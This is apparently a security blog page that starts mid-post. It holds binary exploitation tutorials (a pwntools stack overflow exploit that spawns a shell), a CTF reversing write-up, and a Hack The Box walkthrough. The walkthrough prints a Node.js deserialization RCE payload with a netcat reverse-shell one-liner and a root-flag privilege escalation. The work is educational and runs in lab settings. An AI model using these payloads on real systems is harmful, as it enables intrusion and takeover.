ROPgadget --binary chapter_3 | grep jmp
0x000000000040049e : adc byte ptr [rax], ah ; jmp rax
0x000000000040060d : add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060f : add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x000000000040060b : inc esp ; add byte ptr [rax], al ; add byte ptr [rdi + rdi*8 - 1], cl ; jmp rsp
0x0000000000400499 : je 0x4004b0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x00000000004004db : je 0x4004f0 ; pop rbp ; mov edi, 0x601030 ; jmp rax
0x000000000040068b : jmp qword ptr [rax]
0x00000000004004a1 : jmp rax
0x000000000040052b : jmp rsp            <--------
0x0000000000400526 : mov dword ptr [rbp + 0x48], edx ; mov ebp, esp ; jmp rsp
0x0000000000400529 : mov ebp, esp ; jmp rsp
0x000000000040049c : mov edi, 0x601030 ; jmp rax
0x0000000000400528 : mov rbp, rsp ; jmp rsp
0x000000000040049b : pop rbp ; mov edi, 0x601030 ; jmp rax
0x0000000000400527 : push rbp ; mov rbp, rsp ; jmp rsp

Let’s write our first exploit:

from pwn import *

r = process("./chapter_3")
context.binary = './chapter_3'

# attach gdb and continue
gdb.attach(r.pid, """c""")

gadget = 0x000000000040052b # jmp rsp

payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
payload += "\xcc"*100

r.sendline(payload)
r.interactive() # we don't want to close the application

We can see in gdb that the target triggered a sigtrap while executing our buffer. Our gadget worked!
Now we just have to replace our buffer with real shellcode. This is very easy with pwntools because it has some shellcodes inbuilt.

from pwn import *

r = process("./chapter_3")
context.binary = './chapter_3'

# attach gdb and continue
gdb.attach(r.pid, """c""")

gadget = 0x000000000040052b # jmp rsp

payload = "A"*16+"B"*8
payload += p64(gadget) # return address, p64 converts our address to little endian because that's the correct representation in memory
# \xcc -> is a software breakpoint (int3). If our redirection of the execution worked, we should break
# payload += "\xcc"*100
payload += asm(shellcraft.sh()) # shellcode to spawn a shell

r.sendline(payload)
r.interactive() # we don't want to close the application

python chapter_3_exploit.py
[+] Starting local process './chapter_3': pid 5622
[*] '/BinaryExploitationSeries/Chapter 3/chapter_3'
   Arch:     amd64-64-little
   RelRO:    Partial RelRO
   Stack:    No canary found
   NX:       NX disabled
   PIE:      No PIE (0x400000)
   RWX:      Has RWX segments
[*] running in new terminal: /usr/bin/gdb -q  "/BinaryExploitationSeries/Chapter 3/chapter_3" 5622 -x "/tmp/pwne4TDcJ.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
$ ls
chapter_3  chapter_3.c    chapter_3_exploit.py
$  

Yeah, we popped our first shell!

The next post will be about bypassing non-executable stack aka return to libc and a small information leak.
Happy Hacking!

Binary Exploitation Series (2): Bug Classes

2018-11-15T00:00:00+00:00

This post gives a brief overview of some bug classes, but it will not cover everything in detail. I’ll provide some additional resources for bug classes which I’m not covering in this series.

How to find vulnerabilities?

There are two essential ways to identify vulnerabilities in software. Fuzzing and static/dynamic code analysis. While fuzzing is a more “aggressive” way of spamming different test cases against the program, an audit is a more focused task. In CTF’s I prefer the manual analysis of the target because most of the time bugs are somewhat hidden and you can find a magic value easier with a disassembler instead of random inputs as test cases.

Bug Classes

There are many different possible attack vectors in today’s native binaries. I won’t cover all of them but to give you an idea, here is a small list:

Stack Buffer Overflows
Heap Buffer Overflows
Format String Attacks
Use After Free (UAF)
Information Leaks (e.g. Format String Attacks, Off by One)
Logic Flaws
…

Stack Based Buffer Overflows

Stack-based buffer overflows are (often) a simple way to get code execution on the target. The best way to explain such an attack is with an example, like always. ;-)
The following function is treated as 32-bit (architecture).

void vuln_function(char *input) {
    char local_buffer[32];
    strcpy(local_buffer, input);
}

The main idea of a buffer overflow is that we can write out of bounds of a variable e.g. an array. This means, that we can fill a buffer on the stack (here 32 bytes) with more data than it can store.

In the following figure, we see the stack of the above function. ESP is the stack pointer and EBP is the base pointer.

If we have “AAAA\0” as an input, the stack is as follows:

If we put more data than the buffer can hold (e.g. "A"*32 + "B"*4 + "C"*4) we can overwrite the saved base pointer and the return address of the function.

As soon as we return from the function (ret) the C’s will be used as the next instruction pointer and we get a SEGFAULT. Therefore, we know that something is corrupted and we may have control of the execution flow (without protections enabled, see later chapters). Important to note, that you could overwrite other variables too. That means, that perhaps you do not need to overwrite the return address because overwriting a specific variable on the stack is enough to achieve your goal.

Heap Exploitation

Heap-based buffer overflows are in general the same as stack-based buffer overflows, but you are overflowing a buffer on the heap. Therefore, you cannot directly overwrite e.g. a return address but rather have to figure out how the application works. Then you can manipulate other variables like pointer to strings (you’ll maybe get a write/read primitive), heap metadata and even function pointers on the heap (e.g. a struct which has pointers to other functions) to get control over the execution flow.
I can recommend How2Heap which covers a lot of heap exploitation techniques.

Format String Attacks

Format strings can be used in a few functions like printf.

char *name = "MyName";
int age = 34;
printf("%s is %d years old.", name, age);

In this example, we have a format string (arg1) and we replace the %s with the content of the second argument name and the %d formatter with the value of age. The vulnerability occurs if we let the user manipulate or even set the format string.
For example:

char buf[30];
int count = read(0, buf, 29);
buf[count] = '\0';
printf(buf); // buffer could contain formatter -> %x %s %c ...

When we put the string %x%x%x as a buffer for printf we can leak data of the stack. We can also read arbitrary addresses and also write to arbitrary addresses in memory. You can read more about this type of exploitation at Format String Attacks syr.edu or watch a video of LiveOverflow
Look out for functions like: printf, sprintf, vprintf, vsprintf, ….

That’s it for today. Next time, we’ll finally exploit our first target!

See you soon.

Binary Exploitation Series (1): Environment Setup

2018-11-08T00:00:00+00:00

Foreword

This series will cover some basic exploitation techniques on Linux systems (x64) which are getting more advanced during the series. The main focus will be on bypassing protection mechanisms of modern systems like ASLR, non-executable stack, Stack Cookies and position-independent code. Each technical topic will be hands-on and I will provide an example to try it yourself and follow along.

Overview

The following table shows some topics I will write about and it might be updated over time.

Chapter	Topic	Active Protections
1	Environment Setup	-
2	Bug Classes	-
3	Your first Exploit	ASLR
4	Return 2 Libc	ASLR, NX
5	How to leak data?	Mixed
6	Defeating Stack Cookies	ASLR, NX, Stack Cookies
7	Full RelRO Bypass	ASLR, NX, Stack Cookies, Full RelRO

Introduction

Today’s post will cover a basic setup for a virtual environment to do some pwnable challenges. This is not the only setup and a lot of people will have better or other tools in their collection. But for me, it is a good base for most of the pwnables I do.

Disclaimer: I’m not a professional and therefore, some things could be wrong or could be done better. But let’s hope it is good enough! ;-)

Base System

As a host system, you can use whatever you want. Windows, Linux, MacOS or something else will do the work.

Virtual Machines

Virtual machines are the best way to have a running system that can be compromised and later be restored to an earlier state. Therefore, I would recommend to not run the vulnerable code on your main systems and build your virtual environment where you can safely run vulnerable code. Moreover, it is very convenient to roll back your system in case of a bad behavior of some of the executables or if the system is damaged in a way.

Virtualization Software:

VMWare Workstation (Pro), most students get a free copy
VirtualBox, free and open-source
Hyper-V, comes with Win10-Pro
…

OS Choice

Since most of the challenges are for Linux based systems, I would recommend to set up your custom virtual environment with a vanilla Linux like Ubuntu.

Tools

Tools are an essential part of your pwn-environment because you will need some! In the following, I will describe some useful tools which I often use.

ipython

A good interactive python shell with tab completion and highlighting.

gdb

Debugging in Linux is done with gdb and I will not cover each command here because there are many tutorials available.

gdb-Plugin: GEF

GEF is a great plugin for gdb which extends the debugging functionalities. Other plugins almost do the same as pwndbg and PEDA. I’ve decided that GEF is the right choice for me but feel free to try each one yourself.
Some important commands we’ll use quite often:

Print memory
eXamine memory: x/FMT ADDRESS.
Example: x/10gx $rsp
This command will print 10 times a 8 byte value (g = giant word - 8 byte, w = word - 4 byte), starting from the address in rsp.
More information at gdb Manuals
set follow-fork-mode child
gdb follows a fork to debug the child process. It is essential for debugging a socket server which forks its process on each connection.
Command: set follow-fork-mode child
search-pattern
Easily find strings or your payload in the programs memory.
Command: search-pattern 'AAAAAAA'`
vmmap
Display a comprehensive layout of the virtual memory mapping.

More information at GEF-Docs.

strace / ltrace

For a basic overview of the binary, you can use strace and ltrace. strace is a program to trace system calls and show all received signals of a given binary. ltrace does the same just with library calls. (e.g. read(..), fgets(…))

Both tools are also great for reversing challenges because sometimes you might see some plaintext strings in function calls.

Pwntools

Pwntools is a great collection of tools/functions packed into a library for python. It is designed for rapid prototyping (which I can confirm) and it makes your exploit development for different tasks a lot easier.
A basic script could look like this:

from pwntools import *

r = process("./challenge")
r.sendline("Hello")
print r.recvline()
r.interactive()

A big advantage of this plugin is that the communication with processes, network sockets or other protocols like ssh uses the same interface. Therefore, you can easily develop your exploit against a local target with r = process("challenge") and later change one line to exploit the remote service r = remote("192.168.1.42", 1337).

Binary Ninja

Binary Ninja is a really great and especially affordable reverse engineering tool. It comes with a good disassembler, medium level and low-level intermediate languages and a great python API interface to develop your plugins for binary ninja.
Further, you have some useful plugins already available at Binary Ninja Community Plugins.

Radare2

Radare2 is also a great tool for reversing but it is kind of hard to begin with since it is a command-line tool. radare2

IDA Free

Another possible disassembler would be IDA free. Since this is a demo version the functionalities are a little bit restricted. But for a beginner, it is enough. IDA Free.

ROPgadget / Ropper

ROPgagdet looks for gadgets in a binary to build a ROP chain and it supports different architectures and file formats.
Ropper does almost the same.

One Gadget

One Gagdet allows you to spawn a shell with execve('/bin/sh', NULL, NULL) via libc in one shot! Therefore, you only need to leak the libc base address in the target’s memory and redirect code execution to the gadget.

Libc Database

Libc Database builds a database of libc offsets to identify used libc on the target machine. You have to be able to leak some libc pointers (e.g. via read primitive and GOT (Global Offset Table) addresses). A web-based variant is available at blukat.me.

That’s all for the first post.

See you soon.

Hack.lu 2018: Baby Reverse

2018-10-19T00:00:00+00:00

Baby reverse was a beginner reversing challenge of this year’s hack.lu CTF. It was a great beginner challenge for people who are new to reversing at all.

A really cool fact was that the challenge author provided some basic “todo” list to solve the challenge.

Hey there, future Reverser!

We created this small challenge to introduce you to reverse engineering. This task might _still_ take quite some time, but trust us, it will be very rewarding!
We sadly can't spoonfeed you, but we created a set of questions that you might want to answer yourself. We expect you to google on your own and find resources.

Sooo, lets get started!

- What kind of binary have you got infront of you? (Hint: "file" command)
- How can you disassemble the file? (objdump, gdb, radare...)
- Which programs are common debuggers?
- How can I use them? (we recommend gdb with the peda plugin)
- - how can I set breakpoints?
- - in which different ways can I step through programs?
- - how can I print/examine the content of memory/addresses
- what is inside registers? what's rax, rip, rsp?
- what is the linux syscall convention?
- - In which register is the second argument?
- - In which register is the syscall number?
- - - where can I find the syscall numbers on my own linux system?
- what happens at a call instruction?
- how can I compare strings in assembly?
- .. ask your teammates for more! annoy them if anything is unclear :P
- .. if you don't got any teammates, use IRC and say that it's about the baby challenge

There is a lot of work ahead of you, and maybe some sleepless nights with a lot of googling - but it will be worth it;-)!
We are certain that with a dedicated mind you can solve this task and from there on you'll be ready for a bright future!
Don't give up, we all have been there. Stick to it and you'll be rewarded =)

Therefore, a beginner could just follow the notes and try to figure out what the program does.

Analysis of the Program

The first command we use is file to find out which architecture the binary supports.

file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

We have a 64-bit binary and for that reason, we have 64-bit registers and we have to use registers for function calls. Next, we run the binary to see what it does. This is a very important step to get a general overview of a challenge.

./chall
Welcome to this Chall!
Enter the Key to win: AAAA

Okay, we can enter some data and then the program exits.

Let’s open the challenge in gdb. In my case, I will use GEF as a gdb plugin instead of peda as recommended by the todo list.

gdb ./chall
gef> start          # runs until the program is loaded

Further, we can step through the program with si (step into) to execute each instruction and have the ability to follow function calls. If we don’t want to follow function calls, we could use ni (not into). While stepping through the program, we can observe, that at some point the instructions are repeating. That means, that we have entered a loop and since the loop contains an XOR instruction, we can guess, that this is some sort of “encoding” algorithm.

Let’s restart the program and find out where our input is stored. If we step through the code, we can observe two syscalls at the beginning. The first syscall prints the message Welcome to this Chall!. We can find the syscall number in the rax register and look the syscall number up (SyscallTable64Bit).

First syscall:
rax = 1 -> write
rsi = 0x4000d7  → "Welcome to this Chall! \nEnter the Key to win:"
It prints the message we saw earlier.

Second syscall:
rax = 0 -> read
rsi = 0x4000d7  → "Welcome to this Chall! \nEnter the Key to win:"
This means that we read (from stdin) to our buffer at rsi. So basically, we write new data in the message buffer.

Afterward, we enter the following loop:

0x400098                  movzx  rdi, BYTE PTR [rsi+0x1]
0x40009d                  xor    QWORD PTR [rsi], rdi
0x4000a0                  inc    rsi
0x4000a3                  dec    rdx
0x4000a6                  jne    0x400098

The loop iterates over our message buffer (with our input) and XORs the current indexed character with the next one in the buffer and writes the result to the currently indexed character. Let the buffer be ABCD.
The algorithm will perform the following operations:

A = 0x41
B = 0x42
C = 0x43
D = 0x44
buffer = {0x41, 0x42, 0x43, 0x44}
i = index (incremented by the algorithm)
buffer[i] = buffer[i] ^ buffer[i+1] ( = 0x41^0x42 = 0x03 )
i = i + 1
buffer[i] = buffer[i] ^ buffer[i+1] ( = 0x42^0x43 = 0x01 )
...

Further, we can observe a loop index (rdx) which is decremented in each iteration. If rdx becomes zero, the loop exits at jne 0x400098

After the loop ends we can see a comparison between two buffers repz cmps BYTE PTR ds:[rsi], BYTE PTR es:[rdi]. If we recall the algorithm, we know that our buffer is referenced by rsi and therefore rdi should be another buffer. Since these two buffers should be equal we can guess that this buffer contains the “encoded” flag.

Developing a Solution

To solve this problem, we first step in gdb until the comparison and copy the content of the other buffer.

 gef➤  x/10gx $rdi
 0x40010c:    0x261838221c060d0a    0x2c42591c2b390f36
 0x40011c:    0x392d171c262c1a36    0x0709382b07014357
 0x40012c:    0x392d17131317011a    0x2e007d5c46060d0a
 0x40013c:    0x6261747274736873    0x0000747865742e00
 0x40014c:    0x0000000000000000    0x0000000000000000

Next, we have to reverse the hex data because it’s stored as little-endian. Here is a really quick and dirty algorithm that does the reversing of the string and also concatenates the parts to one string. (There is certainly a better solution e.g. print the data in gdb with the right format)

import string

str1 = "261838221c060d0a"     
str2 = "2c42591c2b390f36"
str3 = "392d171c262c1a36"
str4 = "0709382b07014357"
str5 = "392d17131317011a"
str6 = "2e007d5c46060d0a"
str7 = "6261747274736873"
str8 = "0000747865742e00"

list = [str1, str2, str3, str4, str5, str6, str7, str8]
goal = ""

for i in range(0, 8): # loops through the list of the giant words dump
    for n in range(len(list[i]),0, -2): # iterate through the string backwards / reverse the string
            goal += list[i][n-2:n]

print(goal)

Next, we want to reverse the XOR operation. Since we know that the flag might start with “flag” we have some known plaintext. In our case 1 byte/character is enough to reverse the XOR operation. Let the first character be p[0] = ‘f’ and the first ciphertext character be 0x0a we can get the next plaintext p[1] with chr(0x0a^ord('f')) = 'l'. To get the whole flag we just have to repeat the XOR operation on p[i] and c[i] to get p[i+1].

plain = "fl" # known plaintext 'flag'
counter = 1
goal = goal.decode("hex")
for char in goal[1:]:
     plain += chr(ord(char) ^ ord(plain[counter]))
     counter += 1
print plain
# flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!}...non printables

That’s it.

Hack The Box: Celestial

2018-08-26T00:00:00+00:00

Today, we are going to do Celestial of Hack the Box.

Enumeration & Exploitation

First, we perform an initial nmap scan to find open ports.

# Nmap 7.70 scan initiated Mon Jul 23 06:58:10 2018 as: nmap -sV -sC -oA init 10.10.10.85
Nmap scan report for 10.10.10.85
Host is up (0.023s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 23 06:58:38 2018 -- 1 IP address (1 host up) scanned in 28.13 seconds

If we visit the page we are confronted with a 404 error page. But if we reload the page we can see a page with content: Hey Dummy 2 + 2 is 22.

Let’s take a closer look:

First open Burp Suite and configure your browser of choice to use 8080 as a proxy
Turn on intercept
Visit the website with cleared cache and cookies

We can see that on the first visit a cookie is set:

Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/;

The profile cookie looks very interesting because of the ending == which is almost always an indicator for base64 encoding. Now decode it as base64 and you’ll get a JSON object:

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If you remember the content of the page of our second visit (after the cookie is set), we can guess that the num field could be the value that is used for the ‘computation’ shown above. Next, we can change the num field and insert another value like 3 which changes the output. Obviously, the JSON object is again base64 encoded and replaced in the HTTP header with the burp repeater.

Hey Dummy 3 + 3 is 33

Let’s send some special characters to the application (e.g. 3'>)

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected string<br> &nbsp; &nbsp;at /home/sun/server.js:13:29<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/sun/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/sun/node_modules/express/lib/router/index.js:281:22<br> &nbsp; &nbsp;at Function.process_params (/home/sun/node_modules/express/lib/router/index.js:335:12)<br> &nbsp; &nbsp;at next (/home/sun/node_modules/express/lib/router/index.js:275:10)<br> &nbsp; &nbsp;at cookieParser (/home/sun/node_modules/cookie-parser/index.js:70:5)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/sun/node_modules/express/lib/router/layer.js:95:5)</pre>
</body>
</html>

Ok, we get a syntax error which means our input is parsed. Moreover, we have leaked some internal paths of the target.

Furthermore, we can do some research about nodejs exploitation which will lead to the exploitation of a unserialize function. If we dig deeper, we can execute a command like this [External Tutorial]:

First we open a netcat listener on our machine with nc -lvvp 1234 and then we can execute a command with

{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('echo 1234 | nc 10.10.15.XX 1234');\nreturn 1\n}()"}

If it was successful, we can change our command to something more useful:

{"username":"Admin","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"_$$ND_FUNC$$_function (){\nexec=require('child_process').exec;\nexec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.XX 1234 >/tmp/f');\nreturn 1\n}()"}

Yes, got a shell!

nc -lvvp 1234
listening on [any] 1234 ...
10.10.10.85: inverse host lookup failed: Unknown host
connect to [10.10.14.232] from (UNKNOWN) [10.10.10.85] 41274
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

If we look at server.js in the home directory of the user, we can find the unserialize function and an eval expression which will execute our commands:

//...
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
//...
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
//...

Privilege Escalation

Besides the user.txt, which contains the flag of the user account, we see a script called script.py with one line of python code print "Script is running...". If we take a look at the home directory we can find a root-owned file called output.txt which contains the string printed by the script above.

So, we can guess that the root user periodically executes the script of the user sun. Therefore, we can easily modify script.py to get a shell or simply leak the root.txt

Replace the content of script.py with our python code:

with open('/root/root.txt', 'rb') as f:
  print f.read()

After a few minutes, we can read the output.txt and we get the root flag.

Important: Please put the original code in script.py and remove the content of output.txt to avoid spoilers.

Happy Hacking! =)

made0x78 Security

Binary Exploitation Series (7): Full RelRO Bypass

Relocation Read-Only (RelRO)

Target

Analysis & Exploitation

Facebook CTF 2019: overfloat

Binary Exploitation Series (6): Defeating Stack Cookies

Stack Cookie Protection

Target

Analysis

Brute Force Method

Leak via Write

Exploit Development

Binary Exploitation Series (5): How to leak data?

Format String Attacks

Off By One

Leak via Functions

Overwrite Pointers

Uninitialized Variables

Brute Force

Binary Exploitation Series (4): Return to Libc

Target

Analysis

Binary Exploitation Series (3): Your first Exploit

Target

Analysis

Binary Exploitation Series (2): Bug Classes

How to find vulnerabilities?

Bug Classes

Stack Based Buffer Overflows

Heap Exploitation

Format String Attacks

Binary Exploitation Series (1): Environment Setup

Foreword

Overview

Introduction

Base System

Virtual Machines

OS Choice

Tools

ipython

gdb

gdb-Plugin: GEF

strace / ltrace

Pwntools

Binary Ninja

Radare2

IDA Free

ROPgadget / Ropper

One Gadget

Libc Database

Hack.lu 2018: Baby Reverse

Analysis of the Program

Developing a Solution

Hack The Box: Celestial

Enumeration & Exploitation

Privilege Escalation